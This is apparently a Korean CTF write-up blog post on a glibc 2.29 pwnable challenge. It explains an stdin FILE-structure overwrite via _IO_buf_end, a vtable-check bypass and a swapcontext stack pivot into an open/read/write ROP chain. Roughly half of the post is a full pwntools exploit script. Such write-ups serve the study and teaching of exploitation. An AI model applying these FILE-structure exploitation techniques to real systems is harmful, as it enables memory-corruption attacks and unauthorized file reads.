GLIBC : 2.29
checksec :
file descriptor에 관한 문제이다. main 함수의 흐름은 다음과 같다.
- sandbox and nohack
- setbuf stdin stdout stderr
- leak system's address
- two chance of AAW
- close stdin stdout stderr
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *ptr; // [rsp+18h] [rbp-18h]
__int64 value; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
value = 0LL;
sandbox();
nohack();
main_init();
printf("gift : %p\n", &system, argv);
printf("1 : ");
__isoc99_scanf((__int64)"%llx %llx", (__int64)&ptr, (__int64)&value);
*ptr = value;
printf("2 : ", &ptr);
__isoc99_scanf((__int64)"%llx %llx", (__int64)&ptr, (__int64)&value);
*ptr = value;
fclose(stdout);
fclose(stdin);
fclose(stderr);
return 0;
}
nohack 함수에서는 stdout+0x8a0에서부터 0x700만큼 mprotect를 이용하여 쓰기 권한을 없앤다. 주소가 _IO_buf_base < stdout+0x8a0 < stdin's vtable이기 때문에, 나중에 익스플로잇할 때 stdin의 vtable에 바로 값을 쓸 수 없게한다.
int nohack()
{
if ( ((_WORD)stdout + 0x8A0) & 0xFFF )
{
puts("mprotect error");
exit(1);
}
return mprotect(&stdout[10]._IO_write_end, 0x700uLL, 1);// what?
}
sandbox 함수에서는 seccomp를 설정한다. seccomp-tools로 쉽게 해석할 수 있다.
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
seccomp_rule_add(v1, 0x7FFF0000LL, 15LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 3LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 10LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 9LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 12LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
if ( (signed int)seccomp_load(v1) < 0 )
{
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0e 0xc000003e if (A != ARCH_X86_64) goto 0016
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0b 0xffffffff if (A != 0xffffffff) goto 0016
0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015
0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015
0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015
0008: 0x15 0x06 0x00 0x00000003 if (A == close) goto 0015
0009: 0x15 0x05 0x00 0x00000009 if (A == mmap) goto 0015
0010: 0x15 0x04 0x00 0x0000000a if (A == mprotect) goto 0015
0011: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0015
0012: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0015
0013: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0015
0014: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
해석해보면 우리에게 허용된 syscall 은 다음과 같다. open, read, write가 허용되어 있으니 ROP를 통해 flag를 읽어올 수 있다. (flag 위치는 주어졌었다.)
- read
- open
- write
- close
- mmap
- mprotect
- brk
- rt_sigreturn
- exit
- exit_group
main_init에서는 setbuf를 해준다. buffer underrun 문제 때문에 pwnable 문제에서 거의 다 해주는 기능이다. 다만 여기서는 setbuf가 exploit에 중요한 요소로 작용한다. 우선 setvbuf를 하면 stdin 구조체에 어떠한 변화가 생기는지 보자.
int main_init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}
GNU의 base64의 stdin 구조체이다. 당연히 base64에서는 setvbuf를 하지 않는다. _IO_read_ptr, _IO_buf_end 등의 값들이 heap 영역을 가리키고 있는 것을 볼 수 있다.
이제 setvbuf를 한 후의 stdin 구조체를 보자. 아까전까지는 heap 영역을 가리키고 있던 값들이 libc의 stdin 구조체의 한 부분을 가리키고 있는 것을 볼 수 있다. (왜 그런지는 setvbuf의 소스코드를 봐야할 것 같다.)
여기서 _IO_buf_base와 _IO_buf_end은 scanf에서 임시버퍼에 값을 읽어들이기 위해서 사용된다. 따라서 첫번째 scanf에서 _IO_buf_end에 _IO_buf_base+0x2000을 적는다면 두번째 scanf에서는 _IO_buf_base부터 0x2000만큼의 값을 쓸 수 있다. 이때 (원래의 값들을 채워넣으면서) 이상한 값으로 바꿔도 에러가 뜨지 않는 영역을 손퍼징하면서 ROP 체인을 적고, stdin의 vtable pointer를 stack pivot함수의 주소 적힌 곳으로 바꾼다면 ROP를 할 수 있다.
다만 glibc가 업데이트 되면서 vtable pointer에 대한 체크로직이 생겼다. 체크로직과 이를 우회하는 방법에 대한 설명은 아래 링크에 자세히 설명되어 있다.
https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
fake stack의 길이가 충분하지 않아서 syscall을 이용해서 rop를 했다. stdout이 close되어서 stderr로 flag를 출력하였다.
'''
0x0007751c: mov rdx, r15 ; mov rsi, r8 ; mov rdi, rbx ; call qword [rcx+0x38] ;
crash at :call QWORD PTR [r15+0x38]
gdb-peda$ x/32i 0x561c8
0x561c8 <swapcontext+168>: mov rsp,QWORD PTR [rdx+0xa0]
0x561cf <swapcontext+175>: mov rbx,QWORD PTR [rdx+0x80]
0x561d6 <swapcontext+182>: mov rbp,QWORD PTR [rdx+0x78]
0x561da <swapcontext+186>: mov r12,QWORD PTR [rdx+0x48]
0x561de <swapcontext+190>: mov r13,QWORD PTR [rdx+0x50]
0x561e2 <swapcontext+194>: mov r14,QWORD PTR [rdx+0x58]
0x561e6 <swapcontext+198>: mov r15,QWORD PTR [rdx+0x60]
0x561ea <swapcontext+202>: mov rcx,QWORD PTR [rdx+0xa8]
0x561f1 <swapcontext+209>: push rcx
0x561f2 <swapcontext+210>: mov rdi,QWORD PTR [rdx+0x68]
0x561f6 <swapcontext+214>: mov rsi,QWORD PTR [rdx+0x70]
0x561fa <swapcontext+218>: mov rcx,QWORD PTR [rdx+0x98]
0x56201 <swapcontext+225>: mov r8,QWORD PTR [rdx+0x28]
0x56205 <swapcontext+229>: mov r9,QWORD PTR [rdx+0x30]
0x56209 <swapcontext+233>: mov rdx,QWORD PTR [rdx+0x88]
0x56210 <swapcontext+240>: xor eax,eax
0x56212 <swapcontext+242>: ret
'''
from pwn import *
p=process('trip')
gdb.attach(p,"b __isoc99_scanf")
p.recvuntil('gift : ')
leak=p.recvuntil('fd0')
leak=int(leak,16)
base=leak-0x52fd0
buf_end=base+0x1e4a40
buf=0x1e4a83+base
hook=base+0x1e75a8
rdi=p64(base+0x0015bbba)
rsi=p64(base+0x0015a62d)
rdx=p64(base+0x0012bda6)
read=p64(0x10cf70+base)
ret=p64(0x0019674d+base)
write=p64(base+0x10d010)
syscall=p64(base+0x000cf6c5)
log.info('syscall = '+hex(base+0x000cf6c5))
rax=p64(0x00047eb1+base)
open_=p64(base+0x10cc80)
data=p64(base+0x1e4800)
rop =rdi+p64(0)+rsi+data+rdx+p64(0x20)+rax+p64(0)+syscall
rop+=rax+p64(2)+rdi+data+rsi+p64(0)+syscall#come here
#rop+=p64(0xdeadbeef)
rop+=rdi+p64(1)+rsi+data+rax+p64(0)+syscall
rop+=rdi+p64(2)+rsi+data+rax+p64(1)+syscall
rop+=p64(0xdeadbeefdeadbeef)
log.info('system = '+hex(leak))
log.info('libc = '+hex(base))
log.info('buf_end ptr = '+hex(buf_end))
log.info('buf_base value = '+hex(buf))#IO_buf overwrite
log.info("gadet = "+hex(base+0x561c8))
payload = "q"*5+p64(base+0x1e7590)+p64(0xffffffffffffffff)+p64(0)
payload+= p64(base+0x1e4ae0)+p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2
payload+= p64(base+0x1e5a20) #fake table _IO_helper_jumps???
#payload+= p64(base+0x1e6560) #vtables
payload+=p64(0)*0x26
payload+=payload.ljust(0xadd-0x190,'\xde')+'aaa'#0x1e4d9d
payload+=p64(0x1e1580+base)+p64(0x1e1ac0+base)+'a'*(0x50)
payload+=p64(base+0x1e2300)+p64(0x19a3e0+base)+p64(0x1994e0+base)+p64(base+0x199ae0)
payload+=p64(base+0x1b1678)*13+p64(0)*3+p64(base+0x1e5680)+p64(0)*3
payload+=p64(0x00000000fbad2087)#stderr start
payload+=p64(0x1e5703+base)*7+p64(0x1e5704+base)+p64(0)*4+p64(0x1e5760+base)+p64(2)+p64(0xffffffffffffffff)
payload+=p64(0)+p64(base+0x1e7570)+p64(0xffffffffffffffff)
payload+=p64(0)+p64(base+0x1e4780)+p64(0)*6+p64(base+0x1e5a20)
payload+=p64(0x00000000fbad2887)+p64(base+0x1e57e3)*7+p64(base+0x1e57e4)+p64(0)*4
payload+=p64(0x1e4a00+base)+p64(1)+p64(0xffffffffffffffff)+p64(0)+p64(base+0x1e7580)
payload+=p64(0xffffffffffffffff)+p64(0)+p64(0x1e48c0+base)+p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2+p64(base+0x1e6560)
#payload+=p64(0xdeadbeef)
payload+=p64(base+0x1e5680)
payload+=p64(base+0x1e5760)
payload+=p64(base+0x1e4a00) #stderr, stdout, stdin
payload+="a"*(0x8)
payload+=rop
payload+='b'*(8*0x34-len(rop))#rop chain
payload+=p64(base+0x1e5960-0x100)#set rsp
payload+=ret
payload+=p64(0xdeaddeadbeefbeef)#ret -> jump
payload+=p64(0xdeadbeef)*(2)#set context
payload+=p64(base+0x561c8)*0x10
p.sendline(hex(buf_end)+' '+hex(buf+len(payload)))
p.send(payload)
#_IO_helper_jumps
__import__('time').sleep(1)
p.send('/home/jjy/flag\x00')
p.interactive()
지금 생각하니 _IO_buf_base에 값을 적는게 더 간단하게 exploit될 것 같다. IO_buf_base앞에 got로 보이는 것들이 있다.
'PWN' 카테고리의 다른 글
peda, pwndbg, gef 같이 쓰기 (0) | 2020.03.08 |
---|---|
HSCTF / hard_heap (0) | 2020.02.19 |
[CISCN 2017] BabyDriver (0) | 2020.02.04 |
2019 defcon/ babyheap (0) | 2020.01.04 |
calloc without memset 0 (0) | 2019.12.30 |